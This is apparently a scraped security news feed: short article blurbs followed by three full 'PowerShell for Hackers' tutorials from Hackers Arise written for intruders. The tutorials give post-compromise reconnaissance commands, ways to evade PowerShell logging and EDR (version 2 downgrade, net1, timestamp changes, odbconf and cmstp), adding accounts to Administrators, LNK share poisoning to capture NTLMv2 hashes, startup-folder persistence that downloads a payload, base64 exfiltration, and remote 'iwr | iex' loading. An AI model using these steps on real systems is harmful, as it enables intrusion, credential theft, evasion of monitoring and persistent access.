Android’s in-call protection now activates during suspicious calls involving financial apps. If you open a banking or payment app while on the line with an unfamiliar number, your phone will warn you, pause actions for 30 seconds, and offer quick safety options.
The post Android phones can warn you if you open financial apps during a scam call appeared first on Digital Trends.
Explore real-time anomaly detection techniques using post-quantum secure aggregation for AI infrastructure. Learn how to protect Model Context Protocol (MCP) deployments against quantum threats.
The post Real-time Anomaly Detection with Post-Quantum Secure Aggregation. appeared first on Security Boulevard.
The EU’s Cyber Resilience Act is reshaping global software security expectations, especially for SaaS, where shared responsibility, lifecycle security and strong identity protections are essential as attackers increasingly “log in” instead of breaking in.
The post The Cyber Resilience Act and SaaS: Why Compliance is Only Half the Battle appeared first on Security Boulevard.
AI-powered cyberattacks are rising fast, and AI firewalls offer predictive, adaptive defense—but their cost, complexity and ROI must be carefully justified as organizations weigh upgrades.
The post Are AI Firewalls Worth the Investment? appeared first on Security Boulevard.
A look at why identity security is failing in the age of deepfakes and AI-driven attacks, and how biometrics, MFA, PAD, and high-assurance verification must evolve to deliver true, phishing-resistant authentication.
The post How AI Threats Have Broken Strong Authentication appeared first on Security Boulevard.
Alan reflects on a turbulent year in DevSecOps, highlighting the rise of AI-driven security, the maturing of hybrid work culture, the growing influence of platform engineering, and the incredible strength of the DevSecOps community — while calling out the talent crunch, tool sprawl and security theater the industry must still overcome.
The post What I’m Thankful for in DevSecOps This Year: Living Through Interesting Times appeared first on Security Boulevard.
The cybersecurity landscape is undergoing a profound transformation. Traditional malware, characterized by static code and predictable behaviors, is being eclipsed by a new breed of threats powered by advanced artificial intelligence. A notable example is the emergence of MalTerminal, a malware leveraging OpenAI’s GPT-4 to generate ransomware and reverse shells in real-time. This development marks..
The post The Emergence of GPT-4-Powered Ransomware and the Threat to IAM Systems appeared first on Security Boulevard.
In today’s fast-evolving digital world, organizations increasingly rely on hybrid workforces, cloud-first strategies, and distributed infrastructures to gain agility and scalability. This transformation has expanded the network into a complex ecosystem spanning on-premises, cloud, and remote endpoints, vastly increasing the attack surface. Cyber adversaries exploit this complexity using stealth techniques like encrypted tunnels, credential misuse,
The post Why Network Monitoring Matters: How Seceon Enables Proactive, Intelligent Cyber Defence appeared first on Seceon Inc.
The post Why Network Monitoring Matters: How Seceon Enables Proactive, Intelligent Cyber Defence appeared first on Security Boulevard.
Deepfake-powered fraud is exploding as attackers weaponize AI to impersonate executives and bypass trust. Learn why detection alone fails and how AI-driven verification restores security.
The post AI vs. AI: Why Deepfake Detection Alone Won’t Protect Your Enterprise appeared first on Security Boulevard.
Akira ransomware is exploiting MFA push-spam, weak VPN security and identity gaps. Learn why these attacks succeed and the counter-playbook defenders must deploy now.
The post The Akira Playbook: How Ransomware Groups Are Weaponizing MFA Fatigue appeared first on Security Boulevard.
Welcome back aspiring hackers!
In this chapter, we’re going deeper into the ways defenders can spot you and the traps they set to catch you off guard. We’re talking about defensive mechanisms and key Windows Event IDs that can make your life harder if you’re not careful. Every hacker knows that understanding defenders’ tools and habits is half the battle.
No system is perfect, and no company has unlimited resources. Every growing organization needs analysts constantly tuning alerts and security triggers as new software and users are added to the network. It’s tedious and repetitive work. Too many alerts can exhaust even the sharpest defenders. Eye fatigue, late nights, and false positives all drain attention. That’s where you get a small window to make a move, or a chance to slip through unnoticed.
Assuming nobody is watching is a beginner’s mistake. We’ve seen many beginners lose access to entire networks simply because they underestimated defensive mechanisms. The more professional you become, the less reckless you are, and the sharper your actions become. Always evaluate your environment before acting.
Defenders have a few main ways they can detect you, and knowing these is crucial if you want to survive:
Process monitoring allows defenders to keep an eye on what programs start, stop, or interact with each other. Every process, PowerShell included, leaves traces of its origin (parent) and its children. Analysts use this lineage to spot unusual activity.
For example, a PowerShell process launched by a Microsoft Word document might be suspicious. Security teams use Endpoint Detection and Response (EDR) tools to gather this data, and some providers, like Red Canary, correlate it with other events to find malicious patterns.
Command monitoring focuses on what commands are being run inside the process. For PowerShell, this means watching for specific cmdlets, parameters, or encoded commands. Alone, a command might look innocent, but in combination with process monitoring and network telemetry, it can be a strong indicator of compromise.
Attackers often use PowerShell to download tools or exfiltrate data over the network. Monitoring outgoing and incoming connections is a reliable way for defenders to catch malicious activity. A common example is an Invoke-Expression command that pulls content from an external server via HTTP.
Let’s break down the logs defenders rely on to catch PowerShell activity:
AMSI stands for Antimalware Scan Interface. Think of it as a security checkpoint inside Windows that watches scripts running in memory, including PowerShell, VBScript, and WMI.
AMSI doesn’t store logs in the standard Event Viewer. Instead, it works with Event Tracing for Windows (ETW), a lower-level logging system. If you bypass AMSI, you can execute code that normally would trigger antivirus scans, like dumping LSASS or running malware, without immediate detection.
But AMSI bypasses are risky. They’re often logged themselves, and Microsoft actively patches them. Publicly available bypasses are a trap for anyone trying to survive quietly.
ScriptBlock logging watches the actual code executed in PowerShell scripts. There are two levels:
Automatic (default): Logs script code that looks suspicious, based on Microsoft’s list of dangerous cmdlets and .NET APIs.
Global: Logs everything with no filters.
Event ID 4104 collects this information. You can bypass this by downgrading PowerShell to version 2, if it exists, but even that downgrade can be logged. Subtle obfuscation is necessary. Here is how you downgrade:
PS > powershell -version 2
Note, that ScriptBlock logging only works with PowerShell 5 and above.
Even older PowerShell versions have Event ID 400, which logs when a PowerShell process starts. It doesn’t show full commands, but the fact that a process started is noted.
Module logging (Event ID 800) tracks which PowerShell modules are loaded, including the source code for commands run via Add-Type. This is important because Add-Type is used to compile and run C# code.
In PowerShell 5+, Event ID 4103 also logs this context. If a defender sees unusual or rarely-used modules being loaded, it’s a red flag.
Sysmon is a specialized Windows tool that gives defenders extra visibility. Usually defenders monitor tracks:
Event ID 1: Every new process creation.
Event ID 7: Module loads, specifically DLLs.
Event ID 10: Process Access, for instance accessing lsass.exe to dump credentials.
For PowerShell, Event ID 7 can flag loads of System.Management.Automation.dll or related modules, which is often a clear indicator of PowerShell use. Many other Sysmon IDs might be monitored, make sure you spend some time to learn about some of them.
To check if Sysmon is running:
PS > Get-Service -Name sysmon
To view recent Sysmon events:
PS > Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvent 20 | Format-List TimeCreated, Id, Message
Not all systems have Sysmon, but where it’s installed, defenders trust it. Essentially, it is like a high-tech security camera that is detailed, persistent, and hard to fool.
EDR tools combine all the telemetry above such as processes, commands, modules, network traffic to give defenders a full picture of activity. If you’re working on a system with EDR, every move is being watched in multiple ways.
Attackers are predictable. If you run the same commands repeatedly, defenders notice. Red Canary publishes filters that show suspicious PowerShell activity. Not every system uses these filters, but they’re widely known.
Using -encodedcommand or Base64 can trigger alerts. Base64 itself isn’t suspicious, but repeated or unusual use is a warning sign.
Adding extra characters (^, +, $, %) can throw off detection, but too much is suspicious.
Some cmdlets are commonly abused. These include ones for downloading files, running scripts, or managing processes. Knowing which ones are flagged helps you avoid careless mistakes.
Scripts running from odd locations, like Public folders, are more likely to be flagged. Stick to expected directories or in-memory execution.
Even when your movement is restricted, options exist.
1) Use native binaries. Legitimate Windows programs are less suspicious.
2) Less common commands. Avoid widely abused cmdlets to reduce detection.
3) Living-Off-the-Land. Using built-in tools creatively keeps you under the radar.
We’ll cover these in more depth in the next chapter, how commands meant for one thing can be adapted for another while remaining invisible.
The net command is powerful, but can be monitored. Use net1 to bypass some filters in really strict environments:
PS > net1 user
This lets you run the full suite of net commands quietly.
Deleting logs can sometimes be a good idea, but you should know that Event ID 1102 flags it immediately. Also, even less experienced defenders can trace lateral movement from log records. Traffic spikes or SMB scans are noticed quickly.
Focus on minimizing your footprint and risk. High-risk, complex techniques are not part of this guide.
Files on disk can betray your tactics. If saving is necessary, use native-looking names, unusual folders, and adjust timestamps. Stick to in-memory execution where possible. Lesser-known commands like odbconf.exe and cmstp.exe are safer and often overlooked. Use them for execution.
Downgrading can bypass ScriptBlock logging. But you need to obfuscate things carefully. Subtlety is key here.
Tweaking log collectors can buy time but is riskier. Always revert these changes after finishing. It’s always good to have a backup of the config files.
Use known credentials rather than brute-forcing. Work during normal hours to blend in well and dump traffic to understand local activity. Using promiscuous mode can help you get richer network insights. Targeting common ports for file distribution is also a good idea and blends in well with normal traffic patterns.
In this part we learned more about the enemy and how defenders see your every move. We broke down the main ways attackers get caught, such as process monitoring, command monitoring and network monitoring. From there, we explored Windows Event IDs and logging mechanisms. We emphasized survival strategies that help you minimize footprint by using in-memory execution, sticking to lesser-known or native commands, using version 2 PowerShell or blending in with normal traffic. Practical tips like the net1 trick and log handling process give you an idea how to avoid raising alarms.
When you understand how defenders observe, log, and respond it lets you operate without tripping alerts. By knowing what’s watched and how, you can plan your moves more safely and survive longer. Our goal here was to show you the challenges you’ll face on Windows systems in restricted environments and give you a real sense that you’re never truly alone.
The post PowerShell for Hackers-Survival Edition, Part 3: Know Your Enemy first appeared on Hackers Arise.
How Artificial Intelligence is transforming both cyber defense and cybercrime by Venkatesh Apsingekar, Senior Engineering Manager – Illumio I recently watched Terminator 2 with my 9-year-old son. Since It was...
The post AI vs AI: The Future of Cybersecurity Is Machine vs. Machine. Is the human factor still relevant? appeared first on Cyber Defense Magazine.
Welcome back, cyberwarriors.
We’re continuing our look at how PowerShell can be used in offensive operations, but this time with survival in mind. When you’re operating in hostile territory, creativity and flexibility keep you alive. PowerShell is a powerful tool and how well it serves you depends on how cleverly you use it. The more tricks you know, the better you’ll be at adapting when things get tense. In today’s chapter we’re focusing on a core part of offensive work, which is surviving while you’re inside the target environment. These approaches have proven themselves in real operations. The longer you blend in and avoid attention, the more you can accomplish.
We’ll split this series into several parts. This first piece is about reconnaissance and learning the environment you’ve entered. If you map the perimeter and understand the scope of your target up front, you’ll be far better placed to move into exploitation without triggering traps defenders have set up. It takes patience. As OTW says, true compromises usually require time and persistence. Defenders often rely on predictable detection patterns, and that predictability is where many attackers get caught. Neglecting the basics is a common and costly mistake.
When the stakes are high, careless mistakes can ruin everything. You can lose access to a target full of valuable information and damage your reputation among other hackers. That’s why we made this guide to help you use PowerShell in ways that emphasize staying undetected and keeping access. Every move should be calculated. Risk is part of the job, but it should never be reckless. That’s also why getting comfortable with PowerShell matters, as it gives you the control and flexibility you need to act professionally.
If you read our earlier article PowerShell for Hackers: Basics, then some of the commands in Part 1 will look familiar. In this article we build on those fundamentals and show how to apply them with survival and stealth as the priority.
Once you have access to a host, perhaps after a compromise or phishing attack, the first step is to find out exactly which system you have landed on. That knowledge is the starting point for planning lateral movement and possible domain compromise:
PS > hostname
Sometimes the hostname is not very revealing, especially in networks that are poorly organized or where the domain setup is weak. On the other hand, when you break into a large company’s network, you’ll often see machines labeled with codes instead of plain names. That’s because IT staff need a way to keep track of thousands of systems without getting lost. Those codes aren’t random, they follow a logic. If you spend some time figuring out the pattern, you might uncover hints about how the company structures its network.
To go further, you can get detailed information about the machine itself. This includes whether it is domain-joined, its hardware resources, installed hotfixes, and other key attributes.
PS > systeminfo
This command is especially useful for discovering the domain name, identifying whether the machine is virtual, and assessing how powerful it is. A heavily provisioned machine is often important. Just as valuable is the operating system type. For instance, compromising a Windows server is a significant opportunity. Servers typically permit multiple RDP connections and are less likely to be personal workstations. This makes them more attractive for techniques such as LSASS and SAM harvesting. Servers also commonly host information that is valuable for reconnaissance, as well as shares that can be poisoned with malicious LNK files pointing back to your Responder.
Once poisoned, any user accessing those shares automatically leaks their NTLMv2 hashes to you, which you can capture and later crack using tools like Hashcat.
If your shell is unstable or noninteractive and you cannot risk breaking it with systeminfo. Here is your alternative:
PS > Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption
Different versions of Windows expose different opportunities for abuse, so knowing the precise version is always beneficial.
Determining patch levels is important. It tells you which vulnerabilities might still be available for exploitation. End-user systems tend to be updated more regularly, but servers and domain controllers often lag behind. Frequently they lack antivirus protection, still run legacy operating systems like Windows Server 2012 R2, and hold valuable data. This makes them highly attractive targets.
Many administrators mistakenly believe isolating domain controllers from the internet is sufficient security. The consequence is often unpatched systems. We once compromised an organization in under 15 minutes with the NoPac exploit, starting from a low-privileged account, purely because their DC was outdated.
To review installed hotfixes:
PS > wmic qfe get Caption,Description,HotFixID,InstalledOn
Remember, even if a system is unpatched, modern antivirus tools may still detect exploitation attempts. Most maintain current signature databases.
Before proceeding with exploitation or lateral movement, always understand the defensive posture of the host.
Firewall configurations can reveal why certain connections succeed or fail and may contain clues about the broader network. You can find this out through passive reconnaissance:
PS > netsh advfirewall show allprofiles
The output may seem overwhelming, but the more time you spend analyzing rules, the more valuable the information becomes. As you can see above, firewalls can generate logs that are later collected by SIEM tools, so be careful before you initiate any connection.
Antivirus software is common on most systems. Since our objective here is to survive using PowerShell only, we won’t discuss techniques for abusing AV products or bypassing AMSI, which are routinely detected by those defenses. That said, if you have sufficient privileges you can query installed security products directly to learn what’s present and how they’re configured. You might be lucky to find a server with no antivirus at all, but you should treat that as the exception rather than the rule
PS > Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
This method reliably identifies the product in use, not just Microsoft Defender. For more details, such as signature freshness and scan history run this:
PS > Get-MpComputerStatus
To maximize survivability, avoid using malware on these machines. Even if logging is not actively collected, you must treat survival mode as if every move is observed. The lack of endpoint protection does not let you do everything. We saw people install Gsocket on Linux boxes thinking it would secure access, but in reality network monitoring quickly spotted those sockets and defenders shut them down. Same applies to Windows.
Perhaps the most important check is determining whether script logging is enabled. This feature records every executed PowerShell command.
PS > Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
If EnableScriptBlockLogging is set to 1, all your activity is being stored in the PowerShell Operational log. Later we will show you strategies for operating under such conditions.
Identifying who else is present on the system is another critical step.
The quser command is user-focused, showing logged-in users, idle times, and session details:
PS > quser
Meanwhile, qwinsta is session-focused, showing both active and inactive sessions. This is particularly useful when preparing to dump LSASS, as credentials from past sessions often remain in memory. It also shows the connection type whether console or RDP.
PS > qwinsta
Finding your way through a hostile network can be challenging. Sometimes you stay low and watch, sometimes you poke around to test the ground. Here are the essential commands to keep you alive.
The ARP table records known hosts with which the machine has communicated. It is both a reconnaissance resource and an attack surface:
PS > arp -a
ARP entries can reveal subnets and active hosts. If you just landed on a host, this could be valuable.
Note: a common informal convention is that smaller organizations use the 192.168.x.x address space, mid-sized organizations use 172.16.x.x–172.31.x.x, and larger enterprises operate within 10.0.0.0/8. This is not a rule, but it is often true in practice.
SSH is natively supported on modern Windows but less frequently used, since tools like PuTTY are more common. Still, it is worth checking for known hosts, as they might give you insights about the network segmentation and subnets:
PS > cat %USERPROFILE%\.ssh\known_hosts
The route table exposes which networks the host is aware of, including VLANs, VPNs, and static routes. This is invaluable for mapping internal topology and planning pivots:
PS > route print
Learning how to read the output can take some time, but it’s definitely worth it. We know many professional hackers that use this command as part of their recon toolbox.
Knowing the network interfaces installed on compromised machines helps you understand connectivity and plan next steps. Always record each host and its interfaces in your notes:
PS > ipconfig /all
Maintaining a record of interfaces across compromised hosts prevents redundant authentication attempts and gives a clearer mindmap of the environment.
The net family of commands remains highly useful, though they are often monitored. Later we will discuss bypass methods. For now, let’s review their reconnaissance value.
Knowing the password policy helps you see if brute force or spraying is possible. But keep in mind, these techniques are too noisy for survival mode:
PS > net accounts /domain
Local groups, while rarely customized in domain environments, can still be useful:
PS > net localgroup
Domain groups are far more significant:
PS > net group /domain
Checking local Administrators can show privilege escalation opportunities:
PS > net localgroup Administrators
Investigating domain group memberships often reveals misconfigured privileges:
PS > net group <group_name> /domain
With sufficient rights, groups can be manipulated:
PS > net localgroup Administrators hacker /add
PS > net group "Marketing" user /add /domain
However, directly adding accounts to highly privileged groups like Domain Admins is reckless. These groups are closely monitored. Experienced hackers instead look for overlooked accounts, such as users with the “password not required” attribute or exposed credentials in LDAP fields.
Domain computer lists reveal scope, while controllers are critical to identify and study:
PS > net group "Domain Computers" /domain
PS > net group "Domain Controllers" /domain
Controllers in particular hold the keys to Active Directory. LDAP queries against them can return huge amounts of intelligence.
Enumerating users can give you useful account names. Administrators might include purpose-based prefixes such as “adm” or “svc” for service accounts, and descriptive fields sometimes contain role notes or credential hints.
PS > net user /domain
Shares are often overlooked by beginners, and that’s a common mistake. A share is basically a place where valuable items can be stored. At first glance it may look like a pile of junk full of unnecessary files and details. And that might be true, since these shares are usually filled with paperwork and bureaucratic documents. But among that clutter we often find useful IT data like passwords, VPN configurations, network maps and other items. Finding documents owned by assistants is just as important. Assistants usually manage things for their directors, so you’ll often find a lot of directors’ private information, passwords, emails, and similar items. Here is how you find local shares hosted on your computer:
PS > net share
Remote shares can also be listed:
PS > net view \\computer /ALL
Enumerating all domain shares creates a lot of noise, but it can be done if you don’t have a clear understanding of the hosts. We do not recommend doing this. If the host names already give you enough information about their purpose, for example, “DB” or “BACKUP”, then further enumeration isn’t necessary. Going deeper can get you caught, even on a small or poorly managed network. If you decide to do it, here is how you can enumerate all shares in the domain:
PS > net view /all /domain[:domainname]
Interesting shares can be mounted for detailed searching:
PS > net use x: \\computer\share
You can search through documents in a share using specific keywords:
PS > Get-ChildItem -Recurse | Select-String -Pattern "keyword" -SimpleMatch -CaseSensitive:$false
That’s it for Part 1 of the Survival Series. We’re excited to keep this going, showing you different ways to work with systems even when you’re limited in what you can do. Sure, the commands you have are restricted, but survival sometimes means taking risks. If you play it too safe, you might get stuck and have no way forward. Time can work against you, and making bold moves at the right moment can pay off.
The goal of this series is to help you get comfortable with the Windows tools you have at your disposal for recon and pentesting. There will be times when you don’t have much, and you’ll need to make the most of what’s available.
In Part 2, we’ll go deeper looking at host inspections, DC queries, and the Active Directory modules that can give you even more insight. Having these native tools makes it easier to stay under the radar, even when things are going smoothly. As you get more experience, you’ll find that relying on built-in tools is often the simplest, most reliable way to get the job done.
The post PowerShell for Hackers: Survival Edition, Part 1 first appeared on Hackers Arise.
Welcome back, cyberwarriors!
We are continuing our PowerShell for Hackers module and today we will look at another range of scripts. Some of them will focus on stealth, like checking if the user is still at the keyboard before taking action. Others are about making your presence felt with changing wallpapers or playing sounds. We also have scripts for moving data around by turning files into text, or avoiding restrictions by disguising PowerShell scripts as batch files. We also added a script with detailed system report as a part of privilege escalation. On top of that, we will cover a quick way to establish your persistence and make it run again after a restart.
Studying these is important for both sides. Attackers see how they can keep access without suspicion and get the information they need. Defenders get to see the same tricks from the other side, which helps them know what to look out for in logs and unusual system behavior.
Let’s break them down one by one.
https://github.com/soupbone89/Scripts/tree/main/Watchman
The first script is focused on detecting whether the target is actually using the computer. This is more important than it sounds. Especially useful when you are connecting to a compromised machine through VNC or RDP. If the legitimate user is present, your sudden appearance on their screen will immediately raise suspicion. On the other hand, waiting until the workstation is unattended allows you to do things quietly.
The script has two modes:
Target-Comes: Watches the horizontal movement of the mouse cursor. If no movement is detected, it sends a harmless Caps Lock keypress every few seconds to maintain activity. This keeps the session alive and prevents the screen from locking. As soon as the cursor moves, the function stops, letting you know that the user has returned.
Target-Leaves: Observes the cursor position over a set interval. If the cursor does not move during that time, the script assumes the user has left the workstation. You can specify your own time of inactivity.
Usage is straightforward:
PS > . .\watch.ps1
PS > Target-Comes
PS > Target-Leaves -Seconds 10
For stealthier use, the script can also be loaded directly from memory with commands like iwr and iex, avoiding file drops on disk. Keep in mind that these commands may be monitored in well-secured environments.
https://github.com/soupbone89/Scripts/tree/main/Play%20Sound
Playing a sound file on a compromised machine may not have a direct operational benefit, but it can be an effective psychological tool. Some hackers use it at the end of an operation to make their presence obvious, either as a distraction or as a statement.
The script plays any .wav file of your choice. Depending on your objectives, you could trigger a harmless notification sound, play a long audio clip as harassment, or use it in combination with wallpaper changes for maximum effect.
PS > . .\play-sound.ps1
PS > PlaySound "C:\Windows\Temp\sound.wav"
https://github.com/soupbone89/Scripts/tree/main/Change%20Wallpaper
Changing the target’s wallpaper is a classic move, often performed at the very end of an intrusion. It is symbolic and visible, showing that someone has taken control. Some groups have used it in politically motivated attacks, others as part of ransomware operations to notify or scare victims.
This script supports common formats such as JPG and PNG, though Windows internally converts them to BMP. Usage is simple, and it can be combined with a sound to make an even greater impression.
PS > iwr https://raw.githubusercontent.com/... | iex
PS > Set-WallPaper -Image "C:\Users\Public\hacked.jpg" -Style Fit
https://github.com/soupbone89/Scripts/tree/main/Base642Image
When working with compromised machines, data exfiltration is often constrained. You may have limited connectivity or may be restricted to a simple PowerShell session without file transfer capabilities. In such cases, converting files to Base64 is a good workaround.
This script lets you encode images into Base64 and save the results into text files. Since text can be easily copied and pasted, this gives you a way to move pictures or other binary files without a download. The script can also decode Base64 back into an image once you retrieve the text.
Encode:
PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location temp
PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location desk
Decode:
PS > b64-img -file "$env:\TMP\encImage.txt" -location temp
With this, exfiltrated data can be restored to its original form on your own machine.
https://github.com/soupbone89/Scripts/tree/main/Base64%20Encoder
Base64 encoding is not just for images. It is one of the most reliable methods for handling small file transfers or encoding command strings. Some commands can break when copied directly when special characters are involved. By encoding them, you can make sure it works.
This script can encode and decode both files and strings:
PS > B64 -encFile "C:\Users\User\Desktop\example.txt"
PS > B64 -decFile "C:\Users\User\Desktop\example.txt"
PS > B64 -encString 'start notepad'
PS > B64 -decString 'cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA='
It even supports piping the results directly into the clipboard for quick use:
PS > COMMAND | clip
https://github.com/soupbone89/Scripts/tree/main/Powershell2Bat
Some environments enforce strict monitoring of PowerShell, logging every script execution and sometimes outright blocking .ps1 files. Batch files, however, are still widely accepted in enterprise settings and are often overlooked.
This script converts any .ps into a .bat file while also encoding it in Base64. This combination not only disguises the nature of the script but also reduces the chance of it being flagged by keyword filters. It is not foolproof, but it can buy you time in restrictive environments.
PS > . .\ps2bat.ps1
PS > ".\script.ps1" | P2B
The output will be a new batch file in the same directory, ready to be deployed.
https://github.com/soupbone89/Scripts/tree/main/Autostart
This is a persistence mechanism that ensures a payload is executed automatically whenever the system or user session starts. It downloads the executable from the provided URL twice, saving it into both startup directories. The use of Invoke-WebRequest makes the download straightforward and silent, without user interaction. Once placed in those startup folders, the binary will be executed automatically the next time Windows starts up or the user logs in.
This is particularly valuable for maintaining access to a system over time, surviving reboots, and ensuring that any malicious activities such as backdoors, keyloggers, or command-and-control agents are reactivated automatically. Although basic, this approach is still effective in environments where startup folders are not tightly monitored or protected.
First edit the script and specify your URL and executable name, then run it as follows:
PS > .\autostart.ps1
https://github.com/soupbone89/Scripts/tree/main/Enumerator
The script is essentially a reconnaissance and system auditing tool. It gathers a wide range of system information and saves the results to a text file in the Windows temporary directory. Hackers would find such a script useful because it gives them a consolidated report of a compromised system’s state. The process and service listings can help you find security software or monitoring tools running on the host. Hardware usage statistics show whether the system is a good candidate for cryptomining. Open ports show potential communication channels and entry points for lateral movement. Installed software is also reviewed for exploitable versions or valuable enterprise applications. Collecting everything into a single report, you save a lot of time.
To avoid touching the disk after the first compromise, execute the script in memory:
PS > iwr http://github.com/… | iex
All of this data is not only displayed in the console but also written into a report file stored at C:\Windows\Temp\scan_result.txt
Today we walked through some PowerShell tricks that you can lean on once you have a foothold. The focus is practical. You saw how to stay unnoticed, how to leave a mark when you want to, you also know how to sneak data out when traditional channels are blocked, and how to make sure your access survives a reboot. Alongside that, there is a handy script that pulls tons of intelligence if you know what you’re looking for.
These are small and repeatable pieces hackers can use for bigger moves. A mouse-watch plus an in-memory loader buys you quiet initial access. Add an autostart drop and that quiet access survives reboots and becomes a persistent backdoor. Then run the enumerator to map high value targets for escalation. Encoding files to Base64 and pasting them out in small chunks turns a locked-down host into a steady exfiltration pipeline. Wrapping PowerShell in a .bat disguises intent long enough to run reconnaissance in environments that heavily log PowerShell. Simple visual or audio changes can be used as signals in coordinated campaigns while the real work happens elsewhere.
The post PowerShell for Hackers, Part 5: Detecting Users, Media Control, and File Conversion first appeared on Hackers Arise.
Login